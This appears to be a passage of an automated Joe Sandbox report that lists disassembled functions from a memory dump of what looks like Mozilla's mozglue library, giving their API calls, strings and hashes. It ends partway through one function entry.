Function 6C52DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C52D38A,?), ref: 6C52DC6F
free.MOZGLUE(?,?,?,?,?,6C52D38A,?), ref: 6C52DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C52D38A,?), ref: 6C52DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C52D38A,?), ref: 6C52DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C52D38A,?), ref: 6C52DD4A

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 44cb2138e2cfdbd3cffe41204c1b4dfc5177c1e6501f2e440e9d67e61591d1ca
Instruction ID: 526b124f5fac37a7ed760cea7cf9b11127322570b4d9416af6fec7c641cd10b3
Opcode Fuzzy Hash: 44cb2138e2cfdbd3cffe41204c1b4dfc5177c1e6501f2e440e9d67e61591d1ca
Instruction Fuzzy Hash: 154169B5A00605CFCB04CFA9C884A9ABBF6FF88314B554569D946ABB50D735FC00CB90

Function 6C52C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C52C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C52C842

Part of subcall function 6C52CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C54B5EB,00000000), ref: 6C52CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C52C863
std::_Facet_Register.LIBCPMT ref: 6C52C875

Part of subcall function 6C50B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C54B636,?), ref: 6C50B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C52C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52C8BC

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 62afe71cc9e1b37af22af04295ccaeab7e4c0e08904a37e60dea09e7fe26eef7
Instruction ID: 4f21f01d946af3d6a6d9ec76b2d93ff4968205e560a4f3b5376441739d1ddb33
Opcode Fuzzy Hash: 62afe71cc9e1b37af22af04295ccaeab7e4c0e08904a37e60dea09e7fe26eef7
Instruction Fuzzy Hash: 16116375B002059BDB00EFA4CCC99AE7BB5EF89354B510529E50697381DB34AD05CB95

Function 6C50F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C50F480

Part of subcall function 6C4DF100: LoadLibraryW.KERNEL32(shell32,?,6C54D020), ref: 6C4DF122
Part of subcall function 6C4DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4DF132

CloseHandle.KERNEL32(00000000), ref: 6C50F555

Part of subcall function 6C4E14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C4E1248,6C4E1248,?), ref: 6C4E14C9
Part of subcall function 6C4E14B0: memcpy.VCRUNTIME140(?,6C4E1248,00000000,?,6C4E1248,?), ref: 6C4E14EF

Part of subcall function 6C4DEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C4DEEE3

CreateFileW.KERNEL32 ref: 6C50F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C50F523

Strings

\oleacc.dll, xrefs: 6C50F4CB

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 5fd8084d43a5d5002a2983aae65c4dd99338ef2ff50ee85dba1f1301f7062b84
Instruction ID: f798696a4fc2edf70b3a1a4c16497283fa4c4f933fbf445278901920f5fddf6c
Opcode Fuzzy Hash: 5fd8084d43a5d5002a2983aae65c4dd99338ef2ff50ee85dba1f1301f7062b84
Instruction Fuzzy Hash: 07418D307087109FE721DF68DC84A9AB7F4AF84318F504B1CF995C7651EB70E9498B96

Function 6C51E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51E04F

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C51E057

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: d5061c0a5966246691690fe28512916b084b622bf8bb8238117af29b7deab1eb
Instruction ID: bf174e532cc778a8d5e57cda8e8fd2770b051bae2e51eae2d10092d3ab60d5c3
Opcode Fuzzy Hash: d5061c0a5966246691690fe28512916b084b622bf8bb8238117af29b7deab1eb
Instruction Fuzzy Hash: F321B078B051088FEF04EF65DC5CAAEB7B5AF89308F550418E80A97F40DB71AD09C7A5

Function 6C5374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C537526
__Init_thread_footer.LIBCMT ref: 6C537566
__Init_thread_footer.LIBCMT ref: 6C537597

Strings

kernel32.dll, xrefs: 6C537557
UnmapViewOfFile2, xrefs: 6C537552

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: e71ee9dc13ef5fa8e3849e144be5c3274d87f0d3100dcbbb21c0967ab8b1d5cb
Instruction ID: 745b18a93b2359c97e875a0c83a31b0e8d79962d6e49d3f1a8149276466aeec5
Opcode Fuzzy Hash: e71ee9dc13ef5fa8e3849e144be5c3274d87f0d3100dcbbb21c0967ab8b1d5cb
Instruction Fuzzy Hash: 99212831F00511EFDB18CFE98D14E5E3775EB863A4B86162AD40987F80E730B8118569

Function 6C53A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55F770,-00000001,?,6C54E330,?,6C4FBDF7), ref: 6C53A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C4FBDF7), ref: 6C53A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C4FBDF7), ref: 6C53A7E4
LeaveCriticalSection.KERNEL32(6C55F770), ref: 6C53A80A

Strings

accelerator.dll, xrefs: 6C53A7BF

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 73a03d1cada873826aeeac8464a7060d1fb057c042669e84e2df763f3f096922
Instruction ID: 956dd84789e32b0ffdd92004aa83c49fec7b2ee7a6c631b5437086f001d161c4
Opcode Fuzzy Hash: 73a03d1cada873826aeeac8464a7060d1fb057c042669e84e2df763f3f096922
Instruction Fuzzy Hash: FE018FB07102149F9F08DF99DCC8D157BB8FB89315746816AE8098B712EB70A804CBA0

Function 6C5375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C53748B,?), ref: 6C5375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5375D7
FreeLibrary.KERNEL32(?,6C53748B,?), ref: 6C5375EC

Strings

ntdll.dll, xrefs: 6C5375B3
RtlNtStatusToDosError, xrefs: 6C5375D1

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0591734234b9636b575dc3b460abbd0a39adf2978f23c62c763fcd7cb99cd6f0
Instruction ID: 5c0adc82cc7fb5d61c908dcc04c6610cd1c320c0ffd6f0d6c1283ca33d4bdd10
Opcode Fuzzy Hash: 0591734234b9636b575dc3b460abbd0a39adf2978f23c62c763fcd7cb99cd6f0
Instruction Fuzzy Hash: D1E0B671710301EFEF007FA2DD4C7027BF8EB46258FA65226A905D1681EBB09051CF29

Function 6C537600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C537592), ref: 6C537608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C537627
FreeLibrary.KERNEL32(?,6C537592), ref: 6C53763C

Strings

ntdll.dll, xrefs: 6C537603
NtUnmapViewOfSection, xrefs: 6C537621

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 689d0396a03adb365fc68e4c82f4d5da44cb7cd0db16549499e602e002051000
Instruction ID: 65755b56d8076022622ef2144bc2363b8c78fbb82b7a2d1137df784a73eb584c
Opcode Fuzzy Hash: 689d0396a03adb365fc68e4c82f4d5da44cb7cd0db16549499e602e002051000
Instruction Fuzzy Hash: 87E092B0720301AFDF007FA69D087057EB8E71A299F965616E90AD2640E7B090248B1C

Function 6C53BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C53BE49), ref: 6C53BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C53BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C53BE49), ref: 6C53BF38
RtlReAllocateHeap.NTDLL ref: 6C53BF83
RtlFreeHeap.NTDLL(6C53BE49,00000000), ref: 6C53BFA6

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 49f2e804c9a3c3510427b04419429b6f48285eec17057b2fc14f1da88446e777
Instruction ID: 16717d4d26202d81825212bbf97547d6f3c62856ff5a428a738352c0b5662417
Opcode Fuzzy Hash: 49f2e804c9a3c3510427b04419429b6f48285eec17057b2fc14f1da88446e777
Instruction Fuzzy Hash: BC518271A006258FE714DF69CD80BAAB3B2FFC4314F299639D559A7B54E730F9068B80

Function 6C528E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528EBF
free.MOZGLUE(?,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528F46
free.MOZGLUE(?,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F8F

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ae4689400f638478001d750831dcfa78db33ddcab68d55cf51ed245413c9b6e1
Instruction ID: 689a4831a66a16739716efcfa1301aee204cfb39536d50dacfa37d597805b0be
Opcode Fuzzy Hash: ae4689400f638478001d750831dcfa78db33ddcab68d55cf51ed245413c9b6e1
Instruction Fuzzy Hash: 0E5182B2A012168FEB24CF94DC8076E77F2BF49318F19056AD516AB780E735F905CB92

Function 6C5227E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52289A
free.MOZGLUE(?,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C5228F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C522910
free.MOZGLUE(00000001,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52294E

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 854ae2860b35099ca0660c5113bdb02f875f9db9dee288bffbc5e8cc7a818ed1
Instruction ID: ff546cb7c17d99d39c1e779d3c30acaf1836bba3a5a8869d0ec7b1e7d1ee94d5
Opcode Fuzzy Hash: 854ae2860b35099ca0660c5113bdb02f875f9db9dee288bffbc5e8cc7a818ed1
Instruction Fuzzy Hash: F64110B9A103068FEB10CF68DC8476A73F6EB45328F244938D516EBB80E735E944CB91

Function 6C4DCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C4DD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C4DD139

Strings

MOZ_CRASH(), xrefs: 6C4DD187

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: a8530aee0ecf05ab37803339d358a7b0c174935a6dd3c74c6a865975fe689a33
Instruction ID: 167fc80a2b7b8d8a0cf475c139beeca8e33e8583a2c0ead3419f0f7a7ec106c7
Opcode Fuzzy Hash: a8530aee0ecf05ab37803339d358a7b0c174935a6dd3c74c6a865975fe689a33
Instruction Fuzzy Hash: BB41E331B113164FCF05DE7C8CA5B6A76B0EB4A714F560239E918E7784D7B5AC018BE8

Function 6C4D4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4D4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4D4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C4D4F1E

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 79be8b84f523bb00a539d6a22d893c0a94f5286d4889ef339491120aab50b3f7
Instruction ID: 6ca62c44d9a54dcdcd9a6c2cf76d8dc2991148e088ad49d06825426de5a3f70d
Opcode Fuzzy Hash: 79be8b84f523bb00a539d6a22d893c0a94f5286d4889ef339491120aab50b3f7
Instruction Fuzzy Hash: 8541BC71604702AFC701DF68C890E5BBBE4BF89394F119A2DE46587750DB30F918CB82

Function 6C53A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55F770), ref: 6C53A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C53A87B

Part of subcall function 6C53A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C53A88F,00000000), ref: 6C53A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C53A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C53A90C
LeaveCriticalSection.KERNEL32(6C55F770), ref: 6C53A97E

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 5410e8ea19c21fe75626835c6ac26e7e70a25c52e0757e8733cebe9a15b921bc
Instruction ID: 8abbc935114a70cfc165bcec5007195708f26f3ce4641b447700818eeff804a5
Opcode Fuzzy Hash: 5410e8ea19c21fe75626835c6ac26e7e70a25c52e0757e8733cebe9a15b921bc
Instruction Fuzzy Hash: 93419FB5A00248CFDF00DFE4CC45A9EBBB1FF44324F148629E81AAB791E731A945CB91

Function 6C4E1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E15E7
free.MOZGLUE(?,?,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E1637

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 89178945ccdb95cce6f92f6ac981c79c4081e0fa3befeaf35fa0f78a8ccb0c0f
Instruction ID: 147563ab42d7d810016601a66d8af2efe10790fe18d82ee7b111d20eaff458b0
Opcode Fuzzy Hash: 89178945ccdb95cce6f92f6ac981c79c4081e0fa3befeaf35fa0f78a8ccb0c0f
Instruction Fuzzy Hash: 2631D8B1A401148BC714CF78D850C6E77A5BF893757260B2DE827DBBD5EB30D9058791

Function 6C53AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AD9D

